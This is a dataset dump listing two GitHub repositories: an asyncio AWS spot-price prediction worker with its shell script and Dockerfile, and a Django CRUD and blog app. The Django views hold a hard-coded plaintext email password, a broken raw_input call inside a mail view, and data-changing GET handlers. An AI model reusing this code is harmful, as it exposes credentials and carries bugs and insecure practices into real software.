repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
garethgeorge/sip-worker-OLD
https://github.com/garethgeorge/sip-worker-OLD
a7ca6b856e675e8a1ae82b74c8bd941ac0451b79
3b25380cd8c77e1b685ab2fef4fa9ad6c2a61b1c
5e8851b8f4aab1e3ca37529805ca7a4af882e11e
refs/heads/master
2021-08-07T09:26:46.915940
2017-11-07T23:48:15
2017-11-07T23:48:15
109,627,554
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.5925423502922058, "alphanum_fraction": 0.5979660749435425, "avg_line_length": 34.975608825683594, "blob_id": "f975fdc66e438f41615185f9d196dd9d244972a4", "content_id": "49d657a5a6fffabd06299eef6d64096dd9eb4a2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1475, "license_type": "no_license", "max_line_length": 100, "num_lines": 41, "path": "/update-job-list.py", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "import aiobotocore\nimport asyncio\nimport botocore \nimport itertools \nimport json \n\nfrom config import config \n\nloop = asyncio.get_event_loop()\n\nwanted_regions = [\"us-east-2\", \"us-east-1\", \"us-west-1\", \"us-west-2\"]\n\nasync def run():\n jobs = []\n\n session = aiobotocore.get_session(loop=loop)\n async with session.create_client(\"ec2\", region_name=\"us-west-1\",\n aws_access_key_id=config[\"amazon\"][\"accessKeyId\"],\n aws_secret_access_key=config[\"amazon\"][\"secretAccessKey\"]) as client:\n print(\"connected to amazon, got a session and all that jazz\")\n\n print(\"regions:\")\n for region_obj in (await client.describe_regions())[\"Regions\"]:\n region_name = region_obj[\"RegionName\"]\n if region_name not in wanted_regions: continue\n print(\"\\t- %s\" % region_name)\n\n async with session.create_client(\"ec2\", region_name=region_name,\n aws_access_key_id=config[\"amazon\"][\"accessKeyId\"],\n aws_secret_access_key=config[\"amazon\"][\"secretAccessKey\"]) as regionalClient:\n for az in (await regionalClient.describe_availability_zones())[\"AvailabilityZones\"]:\n jobs.append({\n \"region\": az[\"RegionName\"],\n \"az\": az[\"ZoneName\"]\n })\n\n with open(\"availability-zones.json\", \"w\") as f:\n f.write(json.dumps(jobs, indent=2))\n\nloop.run_until_complete(run())\nloop.close()\n" }, { "alpha_fraction": 0.7041096091270447, "alphanum_fraction": 0.7095890641212463, "avg_line_length": 36.24489974975586, "blob_id": "b35ff43c9f66552512cfa7d4522259c0bdfa4de6", "content_id": "db88390b493a82b6275c29617c96c9c0d3caa8dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1825, "license_type": "no_license", "max_line_length": 106, "num_lines": 49, "path": "/Dockerfile", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "FROM ubuntu:16.04\n\nRUN apt-get update\nRUN apt-get install -y make gcc g++ build-essential m4\nRUN apt-get install -y python3-pip python3-dev \\\n && cd /usr/local/bin \\\n && ln -s /usr/bin/python3 python \\\n && pip3 install --upgrade pip\n\nRUN mkdir /build \nWORKDIR /build \n\n# copy build files\nCOPY ./submodules/sip-processor /build/sip-processor\n\nRUN make -C /build/sip-processor/src/euca-cutils clean && \\\n make -C /build/sip-processor/src/mio clean && \\\n make -C /build/sip-processor/src/schmib_q clean && \\\n make -C /build/sip-processor/src/pred-duration clean && \\\n make -C /build/sip-processor/src/spot-predictions clean \n\nRUN make -C /build/sip-processor/src/euca-cutils && \\\n make -C /build/sip-processor/src/mio && \\\n make -C /build/sip-processor/src/schmib_q && \\\n make -C /build/sip-processor/src/pred-duration && \\\n make -C /build/sip-processor/src/spot-predictions \n\n# run the pip install\nRUN pip install aiohttp aiobotocore aioamqp motor aiofiles\n\n# setup sip worker \nCOPY . /sip \nWORKDIR /sip\n\nRUN rm -rf /sip/bin ; exit 0\nRUN mkdir /sip/bin\n\nRUN ln -s /build/sip-processor/src/euca-cutils/ptime /sip/bin/ptime && \\\n ln -s /build/sip-processor/src/euca-cutils/convert_time /sip/bin/convert_time && \\\n ln -s /build/sip-processor/src/schmib_q/bmbp_ts /sip/bin/bmbp_ts && \\\n ln -s /build/sip-processor/src/schmib_q/bmbp_index /sip/bin/bmbp_index && \\\n ln -s /build/sip-processor/src/pred-duration/pred-distribution /sip/bin/pred-distribution && \\\n ln -s /build/sip-processor/src/pred-duration/pred-distribution-fast /sip/bin/pred-distribution-fast && \\\n ln -s /build/sip-processor/src/spot-predictions/spot-price-aggregate /sip/bin/spot-price-aggregate && \\\n ln -s /build/sip-processor/src/pred-duration/pred-duration /sip/bin/pred-duration \n\nRUN rm -rf ./state ./tmp\n\nCMD [\"python\", \"-u\", \"main.py\"]\n" }, { "alpha_fraction": 0.5835447907447815, "alphanum_fraction": 0.5851758122444153, "avg_line_length": 41.77519226074219, "blob_id": "213563510d9f75c6cbec9bffba38f305fa5ae2dd", "content_id": "bd1590a657e7255a5f32fbf0003dfedb91fb4f41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11036, "license_type": "no_license", "max_line_length": 139, "num_lines": 258, "path": "/worker.py", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "import aiobotocore\nimport asyncio\nimport botocore \nimport itertools \nimport json \nimport os \nimport subprocess\nimport shutil \nimport time\nimport logging\nimport aiofiles\nfrom colors import *\nfrom datetime import datetime, timezone, timedelta\nfrom dateutil.relativedelta import relativedelta\n\nlogger = logging.getLogger(__name__)\n\nfrom config import config \n\nif not os.path.isdir(\"state\"):\n os.mkdir(\"state\")\nif not os.path.isdir(\"tmp\"):\n os.mkdir(\"tmp\")\n\nworker_colors = [BOLD, RED, BLUE, CYAN, GREEN]\ncolor_clear = RESET\n\nepoch = datetime.utcfromtimestamp(0)\nepoch.replace(tzinfo=None)\ndef util_time_to_epoc(datetime):\n return (datetime.replace(tzinfo=None) - epoch).total_seconds()\n\n\nasync def worker_entrypoint(loop):\n global work_queue, cruncher_ids\n print(\"initializing work queue.\")\n \n work_queue = asyncio.PriorityQueue(loop=loop)\n cruncher_ids = asyncio.Queue(loop=loop)\n\n with open(\"availability-zones.json\", \"r\") as f:\n for id, job in enumerate(json.load(f)):\n await work_queue.put((0, id, job))\n \n print(\"\\tLoaded %d jobs.\" % (work_queue.qsize(),))\n\n # spawn off a bunch of workers pulling from the work queue...\n print(\"\\tfetch_workers\")\n for x in range(0, config[\"fetch_workers\"]):\n print(\"\\tstarted a worker... %d\" % x)\n asyncio.ensure_future(Worker(x, work_queue, loop).run())\n\n for x in range(0, config[\"crunch_workers\"]):\n await cruncher_ids.put(x)\n\nclass Worker(object):\n def __init__(self, id, work_queue, loop):\n self.worker_id = id \n self.work_queue = work_queue \n self.loop = loop \n self.worker_color = worker_colors[self.worker_id % len(worker_colors)]\n\n def log(self, *args):\n args = (self.worker_color,) + args + (color_clear,)\n print(*args)\n\n async def run(self):\n while True:\n last_time, jobid, job = await self.work_queue.get()\n wait_time = ((last_time + config[\"recheck_interval\"]) - time.time()) # don\"t check more often than every sixty seconds\n if wait_time > 0:\n self.log(\"Worker %d took job, waiting %d seconds to execute. \" % (self.worker_id, wait_time))\n await asyncio.sleep(abs(wait_time))\n self.log(\"Worker %d done waiting, executing job now.\" % self.worker_id)\n else:\n self.log(\"Worker %d took job. Executing immediately\" % self.worker_id)\n\n task = WorkerTask(self, job)\n # try: # in production we will want a try catch here... yep yep.\n await task.run()\n # except Exception as e:\n # self.log(\"ERROR!!! ERROR!!! ERROR!!! %r\" % (e,))\n await self.work_queue.put((time.time(), jobid, job))\n self.log(\"Worker %d done.\" % self.worker_id)\n\nclass WorkerTask(object):\n def __init__(self, worker, job):\n self.worker = worker\n self.job = job\n \n self.prefix = \"W%d %s\" % (self.worker.worker_id, job[\"az\"])\n self.state_dir = \"./state/%s.%s/\" % (job[\"region\"], job[\"az\"])\n if not os.path.isdir(self.state_dir):\n os.mkdir(self.state_dir)\n\n self.session = aiobotocore.get_session(loop=self.worker.loop)\n\n async def run(self):\n job = self.job \n async with self.session.create_client(\"ec2\", region_name=job[\"region\"],\n aws_access_key_id=config[\"amazon\"][\"accessKeyId\"],\n aws_secret_access_key=config[\"amazon\"][\"secretAccessKey\"]) as client:\n if os.path.isfile(os.path.join(self.state_dir, \"history.json\")):\n async with aiofiles.open(os.path.join(self.state_dir, \"history.json\"), \"r\") as f:\n data = await f.read()\n history_prior_obj = json.loads(data)\n history_prior = history_prior_obj[\"history\"]\n start_time = history_prior_obj[\"end_time\"]\n else:\n history_prior = []\n start_time = None\n \n self.worker.log(\"\\t%s fetched fetching price data \" % (self.prefix,))\n if start_time:\n start_time, end_time, history_latest = await self.get_spot_price_history(client, start_time_string=start_time)\n else:\n start_time, end_time, history_latest = await self.get_spot_price_history(client, history_seconds=config[\"history_window\"])\n \n self.worker.log(\"\\t%s got %d records, diffing spot price data against prior data\" % (self.prefix, len(history_latest)))\n\n hp_t = set(self.history_record_to_tupple(rec) for rec in history_prior)\n history_new = [record for record in history_latest if self.history_record_to_tupple(record) not in hp_t]\n\n if (await self.process_diff_batch(history_new)):\n # NOTE: we only want to dump the history if this operation succeeds, otherwise \n # the history will get refetched and the diff reprocessed if there is an error\n async with aiofiles.open(os.path.join(self.state_dir, \"history.json\"), \"w\") as f:\n await f.write(json.dumps({\n \"history\": history_latest, # yes this is supposed to dump latest, not new\n \"end_time\": end_time,\n \"start_time\": start_time,\n }))\n\n async def process_diff_batch(self, records):\n self.worker.log(\"\\t%s processing diff: %d records, identifying instance types that need processing.\" % (self.prefix, len(records)))\n records = sorted(records, key=lambda record:(record[\"InstanceType\"], record[\"Timestamp\"]))\n\n work = []\n for instance_type, inst_records in itertools.groupby(records, key=lambda record:record[\"InstanceType\"]):\n inst_records = list(inst_records)\n if len(inst_records) > 10:\n self.worker.log(\"\\t\\t%s instance %s needs an update, %d records changed\" % (self.prefix, instance_type, len(inst_records)))\n work.append(asyncio.ensure_future(self.process_diff(instance_type, inst_records)))\n \n if len(work) > 0:\n self.worker.log(\"\\t%s pondorously crunching the numbers. please hold.\" % (self.prefix))\n await asyncio.wait(work)\n self.worker.log(\"\\t%s done crunching.\" % (self.prefix))\n\n return True\n else:\n self.worker.log(\"\\t%s no numbers to crunch! Simply moving along.\" % (self.prefix))\n return False \n\n async def process_diff(self, instance_type, records):\n \n print(\"blocking on request for an id\")\n id = await cruncher_ids.get()\n self.worker.log(\"\\t%s processing diff and making predictions. records: %d\" % (self.prefix, len(records)))\n \n working_dir = \"./tmp/worker-%x/\" % id \n data_file = os.path.join(working_dir, \"data.txt\")\n state_file = os.path.join(self.state_dir, \"%s.state\" % instance_type)\n results_dir = os.path.join(working_dir, \"results\")\n archive_results_dir = self.state_dir + \"/results/\" + instance_type + \"/\" + datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S\")\n\n os.makedirs(archive_results_dir, exist_ok=True)\n\n if os.path.isdir(working_dir):\n print(\"removing working directory...\")\n shutil.rmtree(working_dir)\n print(\"done removing it...\")\n os.makedirs(working_dir)\n\n\n # write out the input data\n async with aiofiles.open(data_file, \"w\") as f:\n for record in records:\n await f.write(self.history_tuple_to_line(self.history_record_to_tupple(record)) + \"\\n\")\n\n self.worker.log(\"\\t%s beginning to execute the shell script...\" % (self.prefix,))\n\n # copy over the binary state file \n args = (\"sh\", \"./predict-savestate.sh\")\n args += (working_dir,)\n args += (self.job[\"region\"], self.job[\"az\"])\n\n p = await asyncio.create_subprocess_exec(*args)\n returncode = await p.wait()\n \n self.worker.log(\"\\t%s processed diff, exit status %d\" % (self.prefix, returncode))\n \n # check that all of the expected files are there\n # TODO: copy in the state save and state restore stuff\n for path in [results_dir]:\n if not os.path.exists(path):\n cruncher_ids.put(id)\n raise Exception(\"when checking result files, did not get file \\\"%s\\\"\" % (path,))\n else:\n self.worker.log(\"\\t\\t%s result \\\"%s\\\" OK\" % (self.prefix, path))\n self.worker.log(\"\\t%s archiving!\" % (self.prefix,))\n\n for file in os.listdir(results_dir):\n self.worker.log(\"\\t\\t%s - archived %s\" % (self.prefix, file))\n with open(results_dir + '/' + file, 'r') as rd:\n with open(archive_results_dir + '/' + file, 'w') as wr:\n wr.write(rd.read())\n self.worker.log(\"\\t%s done processing!\" % (self.prefix,))\n\n await cruncher_ids.put(id)\n\n return 0\n \n async def get_spot_price_history(self, client, history_seconds=None, start_time_string=None):\n pag = client.get_paginator(\"describe_spot_price_history\")\n\n end_time = datetime.now()\n if start_time_string == None:\n assert(history_seconds != None)\n start_time = end_time - timedelta(seconds = history_seconds)\n start_time_string = start_time.strftime(\"%Y-%m-%dT%H:%M:%S\")\n end_time_string = end_time.strftime(\"%Y-%m-%dT%H:%M:%S\")\n\n params = {\n \"EndTime\": end_time_string,\n \"StartTime\": start_time_string,\n \"ProductDescriptions\": [\"Linux/UNIX\"],\n \"AvailabilityZone\": self.job[\"az\"],\n # \"InstanceTypes\": [self.job[\"instance_type\"]]\n }\n\n iterator = pag.paginate(**params)\n spot_prices = []\n async for page in iterator:\n for spotdata in page[\"SpotPriceHistory\"]:\n nicedata = {\n \"InstanceType\": spotdata[\"InstanceType\"],\n \"ProductDescription\": spotdata[\"ProductDescription\"],\n \"SpotPrice\": float(spotdata[\"SpotPrice\"]),\n \"Timestamp\": spotdata[\"Timestamp\"].strftime(\"%Y-%m-%dT%H:%M:%S.000Z\"),\n }\n spot_prices.append(nicedata)\n return start_time_string, end_time_string, spot_prices\n \n def history_tuple_to_dict(self, record):\n return {\n \"InstanceType\": record[1],\n \"ProductDescription\": record[2],\n \"SpotPrice\": record[3],\n \"Timestamp\": record[4]\n }\n\n def history_record_to_tupple(self, record):\n return (self.job[\"az\"], record[\"InstanceType\"], record[\"ProductDescription\"], float(record[\"SpotPrice\"]), record[\"Timestamp\"])\n\n def history_tuple_to_line(self, record):\n return \"SPOTPRICEHISTORY\\t%s\\t%s\\t%s\\t%.4f\\t%s\" % record\n # return string.Template(\"SPOTPRICEHISTORY\\t$az\\t$instance_type\\t$product_description\\t$spot_price\\t$timestamp\"\")\n" }, { "alpha_fraction": 0.688811182975769, "alphanum_fraction": 0.6958041787147522, "avg_line_length": 19.428571701049805, "blob_id": "ec7483f24f188515880e7b3bc3a3aa01db07af14", "content_id": "07c37935aa202d4f641e64e3384c74a92f85995e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 572, "license_type": "no_license", "max_line_length": 71, "num_lines": 28, "path": "/main.py", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "from aiohttp import web \nimport asyncio\n\nfrom config import config \nfrom worker import worker_entrypoint\n\napp = web.Application()\n\nprint(\"Latest version!\")\n\n\nasync def route_data(request):\n # TODO: write code here that gets the latest data for the provided \n # region, az, etc...\n\n data = await request.json()\n\n resultingData = json.dumps({\n \"test\": \"hello world!\",\n })\n\n return web.Response(text=resultingData)\n\napp.router.add_post('/data', route_data)\n\napp.on_startup.append(lambda app: worker_entrypoint(app.loop))\n\nweb.run_app(app, port=3000)\n" }, { "alpha_fraction": 0.53125, "alphanum_fraction": 0.584876537322998, "avg_line_length": 30.22891616821289, "blob_id": "fb5b8f2ece6d140b2b5c0a8bd8c4d5746712c292", "content_id": "d660e326e4b32e43dfd9e13c9a2e3b5bea1e91ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2592, "license_type": "no_license", "max_line_length": 240, "num_lines": 83, "path": "/predict-savestate.sh", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\ncheck()\n{\n if (test -z \"$1\") ; then\n echo \"predict.sh <WORKING_DRIECTORY> <REGION> <AZ>\"\n exit 1\n fi\n}\n\nBIN=./bin/\nHERE=$1\nREGION=$2\nAZ=$3\n\ncheck \"$HERE\"\ncheck \"$REGION\"\ncheck \"$AZ\"\n\nsort $HERE/data.txt > $HERE/sorted.txt\nuniq $HERE/sorted.txt > $HERE/uniqed.txt\n\nFILE=\"$HERE/uniqed.txt\"\n\nmkdir -p \"$HERE/$AZ\"\n\nfor TYPE in `awk '{print $3}' $FILE | uniq` ; do\n\t\tgrep $AZ $FILE | grep $TYPE | grep Linux | grep -v SUSE > $HERE/$AZ/$TYPE.data\ndone\n\nMAXSIZE=100000\nPERIOD=$((2592000*3))\n\nINSTTYPE=\"Linux\"\n\nTARG=$HERE/results\nSTATE=$HERE\n\n# GMTOFF=`date --rfc-3339=\"seconds\" | awk -F '-' '{print $4}' | awk -F':' '{print $1}'`\n\nmkdir -p $TARG\n\nGMTOFF=`date +%z`\nNOW=`/bin/date +%s`\nNOW=$(($NOW-($GMTOFF*3600)))\n# 3 month earlier\nEARLIEST=$(($NOW-$PERIOD))\n\nfor TYPE in `awk '{print $3}' $FILE | sort | uniq` ; do\n echo $TYPE\n\n grep $INSTTYPE $HERE/$AZ/$TYPE.data | grep -v SUSE | sort -k 6 | awk '{print $6,$5}' | sed 's/T/ /' | sed 's/Z//' > $HERE/$AZ/$TYPE.$INSTTYPE.temp1\n\n STEST=`wc -l $HERE/$AZ/$TYPE.$INSTTYPE.temp1 | awk '{print $1}'`\n\n if ( test $STEST -le 0 ) ; then\n continue\n fi\n\n $BIN/convert_time -f $HERE/$AZ/$TYPE.$INSTTYPE.temp1 | sort -n -k 1 -k 2 | awk -v gmt=$GMTOFF '{print $1-(gmt*3600),$2}' | awk -v early=$EARLIEST '{if($1 >= early) {print $1,$2}}' > $HERE/$AZ/$TYPE.$INSTTYPE.temp2\n\n F=\"$HERE/$AZ/$TYPE.$INSTTYPE.temp2\"\n\n $BIN/spot-price-aggregate -f $F | sort -n -k 1 -k 2 | uniq | awk '{if ($1 > 1422228412) {print $1,$2}}' > $TARG/$REGION-$AZ-$TYPE-agg.txt\n\n if [ -e $STATE/$TYPE.state ] \n then \n $BIN/bmbp_ts -f $TARG/$REGION-$AZ-$TYPE-agg.txt -T -i 350 -q 0.975 -c 0.01 --loadstate $STATE/$TYPE.loadstate --savestate $STATE/$TYPE.savestate | grep \"pred:\" | awk '{print $2,$4,($6+0.0001),$14}' > $TARG/$REGION-$AZ-$TYPE-pred.txt\n else \n $BIN/bmbp_ts -f $TARG/$REGION-$AZ-$TYPE-agg.txt -T -i 350 -q 0.975 -c 0.01 --savestate $STATE/$TYPE.savestate | grep \"pred:\" | awk '{print $2,$4,($6+0.0001),$14}' > $TARG/$REGION-$AZ-$TYPE-pred.txt\n fi\n\n awk '{print $1,$2,$3}' $TARG/$REGION-$AZ-$TYPE-pred.txt > $TARG/$REGION-$AZ-$TYPE-temp.txt\n\n $BIN/pred-duration -f $TARG/$REGION-$AZ-$TYPE-temp.txt -T 0 -e | sort -n -k 2 > $TARG/$REGION-$AZ-$TYPE-duration.txt\n \n $BIN/pred-distribution-fast -f $TARG/$REGION-$AZ-$TYPE-temp.txt -q 0.025 -c 0.99 -F 4.0 -I 0.05 | awk '{print $1/3600,$2}' > $TARG/$TYPE.pgraph\n\n DSIZE=`wc -l $TARG/$REGION-$AZ-$TYPE-duration.txt | awk '{print $1}'`\n\n $BIN/bmbp_index -s $DSIZE -q 0.025 -c 0.99 > $TARG/$REGION-$AZ-$TYPE-ndx.txt\n \ndone\n" }, { "alpha_fraction": 0.7359412908554077, "alphanum_fraction": 0.7396088242530823, "avg_line_length": 30.5, "blob_id": "e25066291a980e24bd47c8ef5f50efb6a8a9a0ae", "content_id": "6f70279db953b5990cfcc977b76e992548345c9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 818, "license_type": "no_license", "max_line_length": 166, "num_lines": 26, "path": "/README.md", "repo_name": "garethgeorge/sip-worker-OLD", "src_encoding": "UTF-8", "text": "# installation\n```\npip install aiohttp\npip install aiobotocore\npip install aioamqp\npip install motor \npip install termcolor \n```\n\n## what dependencies are for ... \n - aiohttp - our web server \n - aiobotocore - communication with aws \n - aioamqp - communication with rabbitmq (to come down the line)\n - motor - async mongodb interaction\n - https://motor.readthedocs.io/en/stable/tutorial-asyncio.html\n - term color for colored output based on worker number \n - aiofiles - writing out files asynchronously\n - aiojson - writing json files asynchronously\n\n\n# configuration \n```json\n{\n \"recheck_interval\": 60, // minimum time in seconds between runs of a job, if a job appears more than once in this interval it will be delayed until the time is up\n \"workers\": 4, // as many as you have available threads ideally\n}" } ]
6
Rafsan-decodea/softeck
https://github.com/Rafsan-decodea/softeck
73dcf60aaf9a709cdcae5afeb678d5e33d269718
6e37e29d3eeff38f9de15ff6904bbb2ec9af638d
f348cddd08a74abd8803a93fabf5571c887f0b4e
refs/heads/master
2020-12-08T13:47:34.078374
2020-01-12T15:05:39
2020-01-12T15:05:39
232,997,490
0
0
null
2020-01-10T08:07:55
2020-01-11T14:44:41
2020-01-11T14:45:47
JavaScript
[ { "alpha_fraction": 0.5235826373100281, "alphanum_fraction": 0.5312053561210632, "avg_line_length": 47.83720779418945, "blob_id": "926f84dec95a888122bd39d736ed42ebaacde2cd", "content_id": "8ae766e7f5229a29831b74190daf10c5a07ca596", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2099, "license_type": "no_license", "max_line_length": 77, "num_lines": 43, "path": "/app1/URL.py", "repo_name": "Rafsan-decodea/softeck", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index , name='index' ),\n url(r'^login_panal/',views.login_panal,name='login_panal'),\n url(r'^login/' ,views.login , name='login' ),\n url(r'^logout/', views.user_logout, name='logout'),\n url(r'^dashbord/',views.dashbord, name='dashbord'),\n url(r'^product/', views.product, name='product'),\n url(r'^create/', views.book_create_1, name='create' ),\n url(r'^create_pen/', views.pen_create_1, name='create' ),\n url(r'^add_book/', views.add_book_1, name='add_book' ),\n url(r'^delete/(?P<id>\\d+)/', views.delete_book_1, name='delete' ),\n url(r'^delete_pen/(?P<id>\\d+)',views.delete_pen_1 , name='delete_pen'),\n url(r'^edit/(?P<id>\\d+)/', views.edit_book_1, name='edit' ),\n url(r'^edit_pen/(?P<id>\\d+)/', views.edit_pen_1, name='edit_pen' ),\n url(r'^update/(?P<id>\\d+)/', views.update_book_1, name='update' ),\n url(r'^update_pen/(?P<id>\\d+)/', views.update_pen_1, name='update_pen' ),\n url(r'^index/',views.hello, name='hello'),\n url(r'^pen/', views.penlist, name='pen'),\n url(r'^add_pen/', views.add_pen_1, name='add_pen'),\n url(r'^blog_admin/', views.blog_admin, name='blog_admin'),\n## url(r'blog_post/',views.blog_post , name='blog_post'),\n url(r'^create_post/', views.create_post, name='create_post' ),\n#--------------------------------------------------------------------\n url(r'^see_post/', views.see_post, name ='see_post'),\n#--------------------------------------------------------------------\n url(r'^edit_blog/(?P<id>\\d+)/', views.edit_blog, name='edit_blog' ),\n url(r'^update_blog/(?P<id>\\d+)/', views.update_blog, name='update_blog'),\n url(r'^delete_blog/(?P<id>\\d+)',views.delete_blog , name='delete_blog'),\n url(r'^select/',views.select ,name='select'),\n#--------------------------------------------------------------------\n url(r'^sendmail/',views.sending_main, name='sent_mail')\n\n\n]\n\n # {% for post in post %}\n # <p>{{ post.post }}</p>\n\n # <img src=\"{{ post.image.url}}\" height=\"300\" width=\"300\"/>\n # {% endfor %}" }, { "alpha_fraction": 0.6562093496322632, "alphanum_fraction": 0.6601105332374573, "avg_line_length": 26.342222213745117, "blob_id": "1cfd51afc67d4fdf460e5ef3c0f8adee472a83df", "content_id": "dba2f290d49e46d35439fb40a1271f293c5eca58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6152, "license_type": "no_license", "max_line_length": 91, "num_lines": 225, "path": "/app1/views.py", "repo_name": "Rafsan-decodea/softeck", "src_encoding": "UTF-8", "text": "from __future__ import unicode_literals ,print_function\n\nfrom django.shortcuts import *\n\nfrom .models import *\nimport smtplib\nfrom django.http import *\nfrom django.contrib import auth\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django import forms\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login as auth_login\nfrom django.contrib.auth import authenticate , login , logout\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.http import *\nfrom django.contrib import messages\nfrom django.db.models import Q\n\ndef index(request):\n post = Post.objects.all()\n context = { 'post': post , 'image':post}\n return render(request, 'src/blog/blog_page.html' , context)\n\ndef login_panal(request):\n return render(request,'login.html')\ndef dashbord(request):\n return render(request,'src/inner_login_page.html')\ndef product(request):\n return render(request,'src/porduct.html')\ndef blog_admin(request):\n\n return render(request,'src/blog/blog_admin.html')\ndef see_post(request):\n post = Post.objects.all()\n context = { 'post': post}\n return render(request, 'src/blog/see_blog_post.html' ,context)\n\n##def blog_post(request):\n## post = Post.objects.all()\n## context = { 'post': post , 'image':post}\n## return render(request, 'src/blog/blog_page.html' , context)\n\ndef hello(request):\n books = Booklist.objects.all()\n context = {\n 'books': books\n }\n return render(request,'src/curd/show_book_1.html' , context)\n\ndef penlist(request):\n pen = Penlist.objects.all()\n context = {\n 'pen' : pen\n }\n\n return render(request,'src/curd/show_pen_1.html' , context)\n\n\n\n\n\n\ndef login(request):\n context ={}\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user:\n auth.login(request, user)\n return HttpResponseRedirect(reverse('blog_admin'))\n else:\n return render(request, 'login.html',{'error':'User name or password not matching'})\n else:\n return render(request, 'login.html',context)\ndef user_logout(request):\n auth.logout(request)\n return HttpResponseRedirect(reverse('index'))\n\n\n\n\n\ndef book_create_1(request):\n print(request.POST)\n title = request.POST.get('title')\n price = request.POST.get('price')\n author = request.POST.get('author')\n book_details = Booklist(title=title, price=price, author=author)\n book_details.save()\n return redirect('hello')\n\ndef create_post(request):\n print(request.POST)\n post = request.POST.get('post')\n image = request.FILES['image']\n post_details = Post(post=post ,image=image)\n post_details.save()\n return redirect('blog_admin')\n\ndef pen_create_1(request):\n print(request.POST)\n title = request.POST.get('title')\n price = request.POST.get('price')\n Customer = request.POST.get('Customer')\n pen_details = Penlist(title=title, price=price, Customer=Customer)\n pen_details.save()\n return redirect('pen')\n\n\ndef add_book_1(request):\n\n return render(request, 'src/curd/add_book.html')\ndef add_pen_1(request):\n return render(request, 'src/curd/add_pen_1.html')\n\n\n\ndef delete_book_1(request, id):\n books = Booklist.objects.get(pk=id)\n books.delete()\n return redirect('hello')\n\ndef delete_pen_1(request,id):\n pen = Penlist.objects.get(pk=id)\n pen.delete()\n return redirect('pen')\ndef delete_blog(request,id):\n post = Post.objects.get(pk=id)\n post.delete()\n return redirect('see_post')\n\ndef edit_book_1(request, id):\n books = Booklist.objects.get(pk=id)\n context = {\n 'books': books\n }\n return render(request, 'src/curd/edit_book_1.html', context)\n\ndef edit_pen_1(request, id):\n pen = Penlist.objects.get(pk=id)\n context = {\n 'pen':pen\n }\n return render(request,'src/curd/edit_pen_1.html' ,context)\n\ndef edit_blog(request, id):\n post = Post.objects.get(pk=id)\n context = {'post':post}\n return render(request, 'src/blog/edit_blog.html', context)\n\n\ndef update_book_1(request, id):\n books = Booklist.objects.get(pk=id)\n books.title = request.GET['title']\n books.price = request.GET['price']\n books.author = request.GET['author']\n books.save()\n return redirect('hello')\ndef update_blog(request, id):\n post = Post.objects.get(pk=id)\n post.post = request.POST.get('post')\n post.image = request.FILES['image']\n post.save()\n return redirect('see_post')\n\ndef update_pen_1(request, id):\n pen = Penlist.objects.get(pk=id)\n pen.title = request.GET['title']\n pen.price = request.GET['price']\n pen.Customer = request.GET['Customer']\n pen.save()\n return redirect('pen')\n##select use for testing testfild\ndef select(request):\n print(request.POST)\n option = request.POST.get('option')\n option_change = Select(option=option)\n option_change.save()\n return redirect('blog_post')\n\ndef cal(request):\n print(request.POST)\n num1 = request.POST.get('num1')\n num2 = request.POST.get('num2')\n\n##---------------------Outside Code---------------------------\ndef sending_main(request):\n print (request.POST)\n Subject = request.POST.get('subject')\n mail = request.POST.get('mail')\n send_to = request.POST.get('sender')\n user = '[email protected]'\n password = '0123456789rafan'\n send_adress = send_to\n subject = raw_input(Subject)\n msg = raw_input(mail)\n\n\n try:\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.ehlo()\n server.starttls()\n server.login(user,password)\n massage = 'Subject {0} \\n \\n {1}'.format(subject,msg)\n server.sendmail(user,send_adress,massage)\n server.quit()\n print ('Massages Sending Success fully Complete')\n context = {'error':'Success'}\n except smtplib.SMTPException as msg:\n print ('Some Thing Wrong \\n\\n')\n print (msg)\n context = {'error':msg}\n return render(request, 'src/blog/blog_page.html' , context)\n\n\n\n\n\n\n\n\n# Create your views here.\n" } ]
2
aivic/hackerrank
https://github.com/aivic/hackerrank
0b9889fdd949f4e8573786c3d114699b76be12f8
71b27a098f8432cd9ca13c6a93e9fd1c246dc8d3
8bfc62738289b2a1a15505f2627a32c66427bed0
refs/heads/master
2020-03-22T02:37:10.822924
2018-07-09T12:07:57
2018-07-09T12:07:57
null
0
0
null
null
null
null
null
